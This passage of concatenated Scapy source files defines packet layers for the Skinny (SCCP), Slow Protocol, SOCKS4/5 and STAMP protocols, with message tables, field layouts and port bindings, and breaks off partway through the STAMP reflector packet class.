PacketLenField("CGA_PARAMS", "", CGA_Params, length_from=lambda pkt: pkt.len * 8 - pkt.padlength - 4), # noqa: E501 StrLenField("padding", "", length_from=lambda pkt: pkt.padlength)] # noqa: E501 def post_build(self, p, pay): l_ = len(self.CGA_PARAMS) tmp_len = -(4 + l_) % 8 # Pad to 8 bytes p = p[:1] + chb((4 + l_ + tmp_len) // 8) + chb(tmp_len) + p[3:4 + l_] p += b"\x00" * tmp_len + pay return p send_icmp6ndoptscls = {11: ICMPv6NDOptCGA, 12: ICMPv6NDOptRsaSig, 13: ICMPv6NDOptTmstp, 14: ICMPv6NDOptNonce } icmp6ndoptscls.update(send_icmp6ndoptscls) ================================================ FILE: scapy/contrib/skinny.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2006 Nicolas Bareil eads.net> # EADS/CRC security team # scapy.contrib.description = Skinny Call Control Protocol (SCCP) # scapy.contrib.status = loads """ Skinny Call Control Protocol (SCCP) extension """ import time import struct from scapy.packet import Packet, bind_layers from scapy.fields import FlagsField, IPField, LEIntEnumField, LEIntField, \ StrFixedLenField from scapy.layers.inet import TCP from scapy.volatile import RandShort from scapy.config import conf ##################################################################### # Helpers and constants ##################################################################### skinny_messages_cls = { # Station -> Callmanager 0x0000: "SkinnyMessageKeepAlive", 0x0001: "SkinnyMessageRegister", 0x0002: "SkinnyMessageIpPort", 0x0003: "SkinnyMessageKeypadButton", 0x0004: "SkinnyMessageEnblocCall", 0x0005: "SkinnyMessageStimulus", 0x0006: "SkinnyMessageOffHook", 0x0007: "SkinnyMessageOnHook", 0x0008: "SkinnyMessageHookFlash", 0x0009: "SkinnyMessageForwardStatReq", 0x000A: "SkinnyMessageSpeedDialStatReq", 0x000B: "SkinnyMessageLineStatReq", 0x000C: "SkinnyMessageConfigStatReq", 0x000D: "SkinnyMessageTimeDateReq", 0x000E: "SkinnyMessageButtonTemplateReq", 0x000F: "SkinnyMessageVersionReq", 0x0010: "SkinnyMessageCapabilitiesRes", 0x0011: "SkinnyMessageMediaPortList", 0x0012: "SkinnyMessageServerReq", 0x0020: "SkinnyMessageAlarm", 0x0021: "SkinnyMessageMulticastMediaReceptionAck", 0x0022: "SkinnyMessageOpenReceiveChannelAck", 0x0023: "SkinnyMessageConnectionStatisticsRes", 0x0024: "SkinnyMessageOffHookWithCgpn", 0x0025: "SkinnyMessageSoftKeySetReq", 0x0026: "SkinnyMessageSoftKeyEvent", 0x0027: "SkinnyMessageUnregister", 0x0028: "SkinnyMessageSoftKeyTemplateReq", 0x0029: "SkinnyMessageRegisterTokenReq", 0x002A: "SkinnyMessageMediaTransmissionFailure", 0x002B: "SkinnyMessageHeadsetStatus", 0x002C: "SkinnyMessageMediaResourceNotification", 0x002D: "SkinnyMessageRegisterAvailableLines", 0x002E: "SkinnyMessageDeviceToUserData", 0x002F: "SkinnyMessageDeviceToUserDataResponse", 0x0030: "SkinnyMessageUpdateCapabilities", 0x0031: "SkinnyMessageOpenMultiMediaReceiveChannelAck", 0x0032: "SkinnyMessageClearConference", 0x0033: "SkinnyMessageServiceURLStatReq", 0x0034: "SkinnyMessageFeatureStatReq", 0x0035: "SkinnyMessageCreateConferenceRes", 0x0036: "SkinnyMessageDeleteConferenceRes", 0x0037: "SkinnyMessageModifyConferenceRes", 0x0038: "SkinnyMessageAddParticipantRes", 0x0039: "SkinnyMessageAuditConferenceRes", 0x0040: "SkinnyMessageAuditParticipantRes", 0x0041: "SkinnyMessageDeviceToUserDataVersion1", # Callmanager -> Station */ 0x0081: "SkinnyMessageRegisterAck", 0x0082: "SkinnyMessageStartTone", 0x0083: "SkinnyMessageStopTone", 0x0085: "SkinnyMessageSetRinger", 0x0086: "SkinnyMessageSetLamp", 0x0087: "SkinnyMessageSetHkFDetect", 0x0088: "SkinnyMessageSpeakerMode", 0x0089: "SkinnyMessageSetMicroMode", 0x008A: "SkinnyMessageStartMediaTransmission", 0x008B: "SkinnyMessageStopMediaTransmission", 0x008C: "SkinnyMessageStartMediaReception", 0x008D: "SkinnyMessageStopMediaReception", 0x008F: "SkinnyMessageCallInfo", 0x0090: "SkinnyMessageForwardStat", 0x0091: "SkinnyMessageSpeedDialStat", 0x0092: "SkinnyMessageLineStat", 0x0093: "SkinnyMessageConfigStat", 0x0094: "SkinnyMessageTimeDate", 0x0095: "SkinnyMessageStartSessionTransmission", 0x0096: "SkinnyMessageStopSessionTransmission", 0x0097: "SkinnyMessageButtonTemplate", 0x0098: "SkinnyMessageVersion", 0x0099: "SkinnyMessageDisplayText", 0x009A: "SkinnyMessageClearDisplay", 0x009B: "SkinnyMessageCapabilitiesReq", 0x009C: "SkinnyMessageEnunciatorCommand", 0x009D: "SkinnyMessageRegisterReject", 0x009E: "SkinnyMessageServerRes", 0x009F: "SkinnyMessageReset", 0x0100: "SkinnyMessageKeepAliveAck", 0x0101: "SkinnyMessageStartMulticastMediaReception", 0x0102: "SkinnyMessageStartMulticastMediaTransmission", 0x0103: "SkinnyMessageStopMulticastMediaReception", 0x0104: "SkinnyMessageStopMulticastMediaTransmission", 0x0105: "SkinnyMessageOpenReceiveChannel", 0x0106: "SkinnyMessageCloseReceiveChannel", 0x0107: "SkinnyMessageConnectionStatisticsReq", 0x0108: "SkinnyMessageSoftKeyTemplateRes", 0x0109: "SkinnyMessageSoftKeySetRes", 0x0110: "SkinnyMessageStationSelectSoftKeysMessage", 0x0111: "SkinnyMessageCallState", 0x0112: "SkinnyMessagePromptStatus", 0x0113: "SkinnyMessageClearPromptStatus", 0x0114: "SkinnyMessageDisplayNotify", 0x0115: "SkinnyMessageClearNotify", 0x0116: "SkinnyMessageCallPlane", 0x0117: "SkinnyMessageCallPlane", 0x0118: "SkinnyMessageUnregisterAck", 0x0119: "SkinnyMessageBackSpaceReq", 0x011A: "SkinnyMessageRegisterTokenAck", 0x011B: "SkinnyMessageRegisterTokenReject", 0x0042: "SkinnyMessageDeviceToUserDataResponseVersion1", 0x011C: "SkinnyMessageStartMediaFailureDetection", 0x011D: "SkinnyMessageDialedNumber", 0x011E: "SkinnyMessageUserToDeviceData", 0x011F: "SkinnyMessageFeatureStat", 0x0120: "SkinnyMessageDisplayPriNotify", 0x0121: "SkinnyMessageClearPriNotify", 0x0122: "SkinnyMessageStartAnnouncement", 0x0123: "SkinnyMessageStopAnnouncement", 0x0124: "SkinnyMessageAnnouncementFinish", 0x0127: "SkinnyMessageNotifyDtmfTone", 0x0128: "SkinnyMessageSendDtmfTone", 0x0129: "SkinnyMessageSubscribeDtmfPayloadReq", 0x012A: "SkinnyMessageSubscribeDtmfPayloadRes", 0x012B: "SkinnyMessageSubscribeDtmfPayloadErr", 0x012C: "SkinnyMessageUnSubscribeDtmfPayloadReq", 0x012D: "SkinnyMessageUnSubscribeDtmfPayloadRes", 0x012E: "SkinnyMessageUnSubscribeDtmfPayloadErr", 0x012F: "SkinnyMessageServiceURLStat", 0x0130: "SkinnyMessageCallSelectStat", 0x0131: "SkinnyMessageOpenMultiMediaChannel", 0x0132: "SkinnyMessageStartMultiMediaTransmission", 0x0133: "SkinnyMessageStopMultiMediaTransmission", 0x0134: "SkinnyMessageMiscellaneousCommand", 0x0135: "SkinnyMessageFlowControlCommand", 0x0136: "SkinnyMessageCloseMultiMediaReceiveChannel", 0x0137: "SkinnyMessageCreateConferenceReq", 0x0138: "SkinnyMessageDeleteConferenceReq", 0x0139: "SkinnyMessageModifyConferenceReq", 0x013A: "SkinnyMessageAddParticipantReq", 0x013B: "SkinnyMessageDropParticipantReq", 0x013C: "SkinnyMessageAuditConferenceReq", 0x013D: "SkinnyMessageAuditParticipantReq", 0x013F: "SkinnyMessageUserToDeviceDataVersion1", } skinny_callstates = { 0x1: "Off Hook", 0x2: "On Hook", 0x3: "Ring out", 0xc: "Proceeding", } skinny_ring_type = { 0x1: "Ring off" } skinny_speaker_modes = { 0x1: "Speaker on", 0x2: "Speaker off" } skinny_lamp_mode = { 0x1: "Off (?)", 0x2: "On", } skinny_stimulus = { 0x9: "Line" } ############ # Fields # ############ class SkinnyDateTimeField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 32) def m2i(self, pkt, s): year, month, dow, day, hour, min, sec, millisecond = struct.unpack('<8I', s) # noqa: E501 return (year, month, day, hour, min, sec) def i2m(self, pkt, val): if isinstance(val, str): val = self.h2i(pkt, val) tmp_lst = val[:2] + (0,) + val[2:7] + (0,) return struct.pack('<8I', *tmp_lst) def i2h(self, pkt, x): if isinstance(x, str): return x else: return time.ctime(time.mktime(x + (0, 0, 0))) def i2repr(self, pkt, x): return self.i2h(pkt, x) def h2i(self, pkt, s): t = () if isinstance(s, str): t = time.strptime(s) t = t[:2] + t[2:-3] else: if not s: y, m, d, h, min, sec, rest, rest, rest = time.gmtime(time.time()) # noqa: E501 t = (y, m, d, h, min, sec) else: t = s return t ########################### # Packet abstract class # ########################### class SkinnyMessageGeneric(Packet): name = 'Generic message' class SkinnyMessageKeepAlive(Packet): name = 'keep alive' class SkinnyMessageKeepAliveAck(Packet): name = 'keep alive ack' class SkinnyMessageOffHook(Packet): name = 'Off Hook' fields_desc = [LEIntField("unknown1", 0), LEIntField("unknown2", 0), ] class SkinnyMessageOnHook(SkinnyMessageOffHook): name = 'On Hook' class SkinnyMessageCallState(Packet): name = 'Skinny Call state message' fields_desc = [LEIntEnumField("state", 1, skinny_callstates), LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("unknown1", 4), LEIntField("unknown2", 0), LEIntField("unknown3", 0)] class SkinnyMessageSoftKeyEvent(Packet): name = 'Soft Key Event' fields_desc = [LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSetRinger(Packet): name = 'Ring message' fields_desc = [LEIntEnumField("ring", 0x1, skinny_ring_type), LEIntField("unknown1", 0), LEIntField("unknown2", 0), LEIntField("unknown3", 0)] _skinny_tones = { 0x21: 'Inside dial tone', 0x22: 'xxx', 0x23: 'xxx', 0x24: 'Alerting tone', 0x25: 'Reorder Tone' } class SkinnyMessageStartTone(Packet): name = 'Start tone' fields_desc = [LEIntEnumField("tone", 0x21, _skinny_tones), LEIntField("unknown1", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageStopTone(SkinnyMessageGeneric): name = 'stop tone' fields_desc = [LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSpeakerMode(Packet): name = 'Speaker mdoe' fields_desc = [LEIntEnumField("ring", 0x1, skinny_speaker_modes)] class SkinnyMessageSetLamp(Packet): name = 'Lamp message (light of the phone)' fields_desc = [LEIntEnumField("stimulus", 0x5, skinny_stimulus), LEIntField("instance", 1), LEIntEnumField("mode", 2, skinny_lamp_mode)] class SkinnyMessageStationSelectSoftKeysMessage(Packet): name = 'Station Select Soft Keys Message' fields_desc = [LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("set", 0), LEIntField("map", 0xffff)] class SkinnyMessagePromptStatus(Packet): name = 'Prompt status' fields_desc = [LEIntField("timeout", 0), StrFixedLenField("text", b"\0" * 32, 32), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageCallPlane(Packet): name = 'Activate/Deactivate Call Plane Message' fields_desc = [LEIntField("instance", 1)] class SkinnyMessageTimeDate(Packet): name = 'Setting date and time' fields_desc = [SkinnyDateTimeField("settime", None), LEIntField("timestamp", 0)] class SkinnyMessageClearPromptStatus(Packet): name = 'clear prompt status' fields_desc = [LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageKeypadButton(Packet): name = 'keypad button' fields_desc = [LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageDialedNumber(Packet): name = 'dialed number' fields_desc = [StrFixedLenField("number", "1337", 24), LEIntField("instance", 1), LEIntField("callid", 0)] _skinny_message_callinfo_restrictions = ['CallerName', 'CallerNumber', 'CalledName', 'CalledNumber', 'OriginalCalledName', 'OriginalCalledNumber', 'LastRedirectName', 'LastRedirectNumber'] + ['Bit%d' % i for i in range(8, 15)] # noqa: E501 class SkinnyMessageCallInfo(Packet): name = 'call information' fields_desc = [StrFixedLenField("callername", "Jean Valjean", 40), StrFixedLenField("callernum", "1337", 24), StrFixedLenField("calledname", "Causette", 40), StrFixedLenField("callednum", "1034", 24), LEIntField("lineinstance", 1), LEIntField("callid", 0), StrFixedLenField("originalcalledname", "Causette", 40), StrFixedLenField("originalcallednum", "1034", 24), StrFixedLenField("lastredirectingname", "Causette", 40), StrFixedLenField("lastredirectingnum", "1034", 24), LEIntField("originalredirectreason", 0), LEIntField("lastredirectreason", 0), StrFixedLenField('voicemailboxG', b'\0' * 24, 24), StrFixedLenField('voicemailboxD', b'\0' * 24, 24), StrFixedLenField('originalvoicemailboxD', b'\0' * 24, 24), StrFixedLenField('lastvoicemailboxD', b'\0' * 24, 24), LEIntField('security', 0), FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions), # noqa: E501 LEIntField('unknown', 0)] class SkinnyRateField(LEIntField): def i2repr(self, pkt, x): if x is None: x = 0 return '%d ms/pkt' % x _skinny_codecs = { 0x0: 'xxx', 0x1: 'xxx', 0x2: 'xxx', 0x3: 'xxx', 0x4: 'G711 ulaw 64k' } _skinny_echo = { 0x0: 'echo cancellation off', 0x1: 'echo cancellation on' } class SkinnyMessageOpenReceiveChannel(Packet): name = 'open receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntEnumField('echo', 0, _skinny_echo), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer _skinny_receive_channel_status = { 0x0: 'ok', 0x1: 'ko' } class SkinnyMessageOpenReceiveChannelAck(Packet): name = 'open receive channel' fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), LEIntField('passthru', 0), LEIntField('callid', 0)] _skinny_silence = { 0x0: 'silence suppression off', 0x1: 'silence suppression on', } class SkinnyFramePerPacketField(LEIntField): def i2repr(self, pkt, x): if x is None: x = 0 return '%d frames/pkt' % x class SkinnyMessageStartMediaTransmission(Packet): name = 'start multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), SkinnyFramePerPacketField('maxframes', 0), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer class SkinnyMessageCloseReceiveChannel(Packet): name = 'close receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), LEIntField('callid', 0)] class SkinnyMessageStopMultiMediaTransmission(Packet): name = 'stop multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), LEIntField('callid', 0)] class Skinny(Packet): name = "Skinny" fields_desc = [LEIntField("len", None), LEIntField("res", 0), LEIntEnumField("msg", 0, skinny_messages_cls)] def post_build(self, pkt, p): if self.len is None: # on compte pas les headers len et reserved tmp_len = len(p) + len(pkt) - 8 pkt = struct.pack('@I', tmp_len) + pkt[4:] return pkt + p # An helper def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) # return __builtin__.__dict__.get(name, fallback_cls) for msgid, strcls in skinny_messages_cls.items(): cls = get_cls(strcls, SkinnyMessageGeneric) bind_layers(Skinny, cls, {"msg": msgid}) bind_layers(TCP, Skinny, {"dport": 2000}) bind_layers(TCP, Skinny, {"sport": 2000}) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="Welcome to Skinny add-on") ================================================ FILE: scapy/contrib/slowprot.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Slow Protocol # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField from scapy.layers.l2 import Ether from scapy.data import ETHER_TYPES ETHER_TYPES[0x8809] = 'SlowProtocol' SLOW_SUB_TYPES = { 'Unused': 0, 'LACP': 1, 'Marker Protocol': 2, 'OAM': 3, 'OSSP': 10, } class SlowProtocol(Packet): name = "SlowProtocol" fields_desc = [ByteEnumField("subtype", 0, SLOW_SUB_TYPES)] bind_layers(Ether, SlowProtocol, type=0x8809, dst='01:80:c2:00:00:02') ================================================ FILE: scapy/contrib/socks.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Socket Secure (SOCKS) # scapy.contrib.status = loads """SOCKS4/5 Protocol You can change the server ports that are used in the SOCKS layer by editing. conf.contribs['socks']['serverports'] """ from scapy.config import conf from scapy.error import warning from scapy.layers.dns import DNSStrField from scapy.layers.inet import TCP, UDP from scapy.layers.inet6 import IP6Field from scapy.fields import ( ByteEnumField, ByteField, IPField, MultipleTypeField, ShortField, StrField, StrNullField, ) from scapy.packet import Packet, bind_layers, bind_bottom_up # TODO: support the 3 different authentication exchange procedures for SOCKS5 # noqa: E501 # 1 - Plain (https://tools.ietf.org/html/rfc1928 - 3.Procedure for TCP-based clients) # noqa: E501 # 2 - Username/password (https://tools.ietf.org/html/rfc1929) # 3 - GSS-API (https://tools.ietf.org/html/rfc1961) conf.contribs.setdefault('socks', {}) conf.contribs['socks'].setdefault('serverports', [1080]) class SOCKS(Packet): fields_desc = [ ByteEnumField("vn", 0x5, {0x4: "v4 - Request", 0x0: "v4 - Reply", 0x5: "v5"}), ] def guess_payload_class(self, pkt): d_port = s_port = True if self.underlayer and isinstance(self.underlayer, TCP): ports = conf.contribs['socks']['serverports'] d_port = self.underlayer.dport in ports s_port = self.underlayer.sport in ports if self.vn == 0x5: if d_port: return SOCKS5Request elif s_port: return SOCKS5Reply elif self.vn == 0x4: if d_port: return SOCKS4Request elif self.vn == 0x0: if s_port: return SOCKS4Reply warning("No TCP underlayer, or dport/sport not in " "conf.contribs['socks']['serverports']. " "Assuming a SOCKS v5 request layer") return SOCKS5Request def add_payload(self, payload): if self.underlayer and isinstance(self.underlayer, TCP): if isinstance(payload, (SOCKS5Request, SOCKS4Request)): self.underlayer.dport = 1080 self.underlayer.sport = 1081 elif isinstance(payload, (SOCKS5Reply, SOCKS4Reply)): self.underlayer.sport = 1080 self.underlayer.dport = 1081 Packet.add_payload(self, payload) bind_bottom_up(TCP, SOCKS, sport=1080) bind_bottom_up(TCP, SOCKS, dport=1080) # SOCKS v4 _socks4_cd_request = { 1: "Connect", 2: "Bind" } class SOCKS4Request(Packet): name = "SOCKS 4 - Request" overload_fields = {SOCKS: {"vn": 0x4}} fields_desc = [ ByteEnumField("cd", 1, _socks4_cd_request), ShortField("dstport", 80), IPField("dst", "0.0.0.0"), StrNullField("userid", ""), ] _socks4_cd_reply = { 90: "Request granted", 91: "Request rejected", 92: "Request rejected - SOCKS server cannot connect to identd", 93: "Request rejected - user-ids mismatch" } class SOCKS4Reply(Packet): name = "SOCKS 4 - Reply" overload_fields = {SOCKS: {"vn": 0x0}} fields_desc = [ ByteEnumField("cd", 90, _socks4_cd_reply), ] + SOCKS4Request.fields_desc[1:-2] # Reuse dstport, dst and userid # SOCKS v5 - TCP _socks5_cdtypes = { 1: "Connect", 2: "Bind", 3: "UDP associate", } class SOCKS5Request(Packet): name = "SOCKS 5 - Request" overload_fields = {SOCKS: {"vn": 0x5}} fields_desc = [ ByteEnumField("cd", 0x0, _socks5_cdtypes), ByteField("res", 0), ByteEnumField("atyp", 0x1, {0x1: "IPv4", 0x3: "DomainName", 0x4: "IPv6"}), MultipleTypeField( [ # IPv4 (IPField("addr", "0.0.0.0"), lambda pkt: pkt.atyp == 0x1), # DNS (DNSStrField("addr", ""), lambda pkt: pkt.atyp == 0x3), # IPv6 (IP6Field("addr", "::"), lambda pkt: pkt.atyp == 0x4), ], StrField("addr", "") ), ShortField("port", 80), ] _socks5_rep = { 0: "succeeded", 1: "general server failure", 2: "connection not allowed by ruleset", 3: "network unreachable", 4: "host unreachable", 5: "connection refused", 6: "TTL expired", 7: "command not supported", 8: "address type not supported", } class SOCKS5Reply(Packet): name = "SOCKS 5 - Reply" overload_fields = {SOCKS: {"vn": 0x5}} # All fields are the same except the first one fields_desc = [ ByteEnumField("rep", 0x0, _socks5_rep), ] + SOCKS5Request.fields_desc[1:] # SOCKS v5 - UDP class SOCKS5UDP(Packet): name = "SOCKS 5 - UDP Header" fields_desc = [ ShortField("res", 0), ByteField("frag", 0), ] + SOCKS5Request.fields_desc[2:] # Reuse the atyp, addr and port fields def guess_payload_class(self, s): if self.port == 0: return conf.raw_layer return UDP(sport=self.port, dport=self.port).guess_payload_class(None) bind_bottom_up(UDP, SOCKS5UDP, sport=1080) bind_bottom_up(UDP, SOCKS5UDP, sport=1080) bind_layers(UDP, SOCKS5UDP, sport=1080, dport=1080) ================================================ FILE: scapy/contrib/stamp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Carmine Scarpitta # scapy.contrib.description = Simple Two-Way Active Measurement Protocol (STAMP) # scapy.contrib.status = loads """ STAMP (Simple Two-Way Active Measurement Protocol) - RFC 8762. References: * `Simple Two-Way Active Measurement Protocol [RFC 8762] `_ * `Simple Two-Way Active Measurement Protocol Optional Extensions [RFC 8972] `_ """ from scapy import config from scapy.base_classes import Packet_metaclass from scapy.layers.inet import UDP from scapy.layers.ntp import TimeStampField from scapy.packet import Packet, bind_layers from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, FlagsField, IntField, MultipleTypeField, NBytesField, PacketField, PacketListField, ShortField, StrLenField, UTCTimeField ) _sync_types = { 0: 'No External Synchronization for the Time Source', 1: 'Clock Synchronized to UTC using an External Source' } _timestamp_types = { 0: 'NTP 64-bit Timestamp Format', 1: 'PTPv2 Truncated Timestamp Format' } _stamp_tlvs = { } class ErrorEstimate(Packet): """ The Error Estimate specifies the estimate of the error and synchronization. The format of the Error Estimate field (defined in Section 4.1.2 of `RFC 4656 `_) is reported below:: 0 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |S|Z| Scale | Multiplier | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``S`` is interpreted as follows: +-------+-------------------------------------------------------+ | Value | Description | +-------+-------------------------------------------------------+ | 0 | there is no notion of external synchronization for | | | the time source | +-------+-------------------------------------------------------+ | 1 | the party generating the timestamp has a clock that | | | is synchronized to UTC using an external source | +-------+-------------------------------------------------------+ ``Z`` is interpreted as follows (defined in Section 2.3 of `RFC 8186 `_): +-------+---------------------------------------+ | Value | Description | +-------+---------------------------------------+ | 0 | NTP 64-bit format of a timestamp | +-------+---------------------------------------+ | 1 | PTPv2 truncated format of a timestamp | +-------+---------------------------------------+ ``Scale`` and ``Multiplier`` are linked by the following relationship:: ErrorEstimate = Multiplier*2^(-32)*2^Scale (in seconds) References: * `A One-way Active Measurement Protocol (OWAMP) [RFC 4656] `_ * `Support of the IEEE 1588 Timestamp Format in a Two-Way Active Measurement Protocol (TWAMP) [RFC 8186] `_ """ name = 'Error Estimate' fields_desc = [ BitEnumField('S', 0, 1, _sync_types), BitEnumField('Z', 0, 1, _timestamp_types), BitField('scale', 0, 6), ByteField('multiplier', 1), ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass # Trick to tell scapy that the remaining bytes of the currently # dissected string is not a payload of this packet but of some other # underlayer packet return config.conf.padding_layer class STAMPTestTLV(Packet): """ The STAMP Test TLV defined in Section 4 of [RFC 8972] provides a flexible extension mechanism for optional informational elements. The TLV Format in a STAMP Test packet is reported below:: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |STAMP TLV Flags| Type | Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ~ Value ~ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-------+---------+-------------------------------------------------+ | Field | Description | +-----------------+-------------------------------------------------+ | STAMP TLV Flags | 8-bit field; for the details about the STAMP | | | TLV Flags Format, see RFC 8972 | +-----------------+-------------------------------------------------+ | Type | characterizes the interpretation of the Value | | | field | +-----------------+-------------------------------------------------+ | Length | the length of the Value field in octets | +-----------------+-------------------------------------------------+ | Value | interpreted according to the value of the Type | | | field | +-----------------+-------------------------------------------------+ References: * `Simple Two-Way Active Measurement Protocol Optional Extensions [RFC 8972] `_ """ name = 'STAMP Test Packet - Generic TLV' fields_desc = [ FlagsField('flags', 0, 8, "UMIRRRRR"), ByteEnumField('type', None, _stamp_tlvs), ShortField('len', 0), StrLenField('value', '', length_from=lambda pkt: pkt.len), ] def extract_padding(self, p): return b"", p registered_stamp_tlv = {} @classmethod def register_variant(cls): cls.registered_stamp_tlv[cls.type.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: tmp_type = ord(pkt[1:2]) return cls.registered_stamp_tlv.get(tmp_type, cls) return cls class STAMPSessionSenderTestUnauthenticated(Packet): """ Extended STAMP Session-Sender Test Packet in Unauthenticated Mode. The format (defined in Section 3 of `RFC 8972 `_) is shown below:: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Timestamp | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Error Estimate | SSID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | | | MBZ (28 octets) | | | | | | | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ~ TLVs ~ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ References: * `Simple Two-Way Active Measurement Protocol Optional Extensions [RFC 8972] `_ """ name = 'STAMP Session-Sender Test' fields_desc = [ IntField('seq', 0), MultipleTypeField( [ (TimeStampField('ts', 0), lambda pkt:pkt.err_estimate.Z == 0) ], UTCTimeField('ts', 0, fmt='Q') ), PacketField('err_estimate', ErrorEstimate(), ErrorEstimate), ShortField('ssid', 1), NBytesField('mbz', 0, 28), # 28 bytes MBZ PacketListField('tlv_objects', [], STAMPTestTLV), ] class STAMPSessionReflectorTestUnauthenticated(Packet): """ Extended STAMP Session-Reflector Test Packet in Unauthenticated Mode. The format (defined in Section 3 of `RFC 8972 `_) is shown below:: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Timestamp | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Error Estimate | SSID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Receive Timestamp | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Session-Sender Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Session-Sender Timestamp | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Session-Sender Error Estimate | MBZ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Ses-Sender TTL | MBZ | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ~ TLVs ~ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ References: * `Simple Two-Way Active Measurement Protocol Optional Extensions [RFC 8972] `_ """ name = 'STAMP Session-Reflector Test' fields_desc = [ IntField('seq', 0), MultipleTypeField( [ (TimeStampField('ts', 0), lambda pkt:pkt.err_estimate.Z == 0), ], UTCTimeField('ts', 0, fmt='Q') ), PacketField('err_estimate', ErrorEstimate(), ErrorEstimate), ShortField('ssid', 1), MultipleTypeField( [ (TimeStampField('ts_rx', 0), lambda pkt:pkt.err_estimate.Z == 0) ], 